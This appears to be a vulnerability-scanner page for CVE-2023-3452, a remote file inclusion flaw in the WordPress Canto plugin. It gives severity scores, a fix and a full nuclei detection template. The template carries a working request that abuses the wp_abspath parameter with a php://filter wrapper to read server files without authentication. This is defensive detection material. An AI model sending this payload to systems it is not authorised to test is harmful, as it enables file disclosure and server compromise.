WordPress Canto Plugin <= 3.0.4 - File Inclusion

criticalseverity

9.8CVSS score

7%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Canto plugin for WordPress up to version 3.0.4 contains a remote file inclusion caused by the 'wp_abspath' parameter, letting unauthenticated attackers include and execute arbitrary remote code if allow_url_include is enabled, exploit requires allow_url_include to be enabled.

Impact

Attackers can execute arbitrary remote code on the server, leading to full server compromise.

Fix

Update to the latest version of the Canto plugin, above 3.0.4, or disable allow_url_include in PHP configuration.

How to confirm it

Send: GET /wp-content/plugins/canto/readme.txt
Positive when: compare_versions(version, "<= 3.0.4")
Send: GET /wp-content/plugins/canto/includes/lib/download.php?wp_abspath=php://filter/convert.base64-encode/resource=/var/www/html
Positive when: contains_all(body, "PD9waHAK", "V29yZFByZXNz") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-3452 -u <target>

The full check

id: CVE-2023-3452

info:
  name: WordPress Canto Plugin <= 3.0.4 - File Inclusion
  author: omarkurt
  severity: critical
  description: |
    Canto plugin for WordPress up to version 3.0.4 contains a remote file inclusion caused by the 'wp_abspath' parameter, letting unauthenticated attackers include and execute arbitrary remote code if allow_url_include is enabled, exploit requires allow_url_include to be enabled.
  impact: |
    Attackers can execute arbitrary remote code on the server, leading to full server compromise.
  remediation: |
    Update to the latest version of the Canto plugin, above 3.0.4, or disable allow_url_include in PHP configuration.
  reference:
    - https://www.exploit-db.com/exploits/51826
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/canto/canto-304-unauthenticated-remote-file-inclusion
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3452
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3452
    epss-score: 0.06958
    epss-percentile: 0.94174
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 3
  tags: cve,cve2023,wordpress,wp-plugin,canto,rfi,rce,unauth,critical

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/canto/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "<= 3.0.4")'
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/canto/includes/lib/download.php?wp_abspath=php://filter/convert.base64-encode/resource=/var/www/html HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "PD9waHAK", "V29yZFByZXNz")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from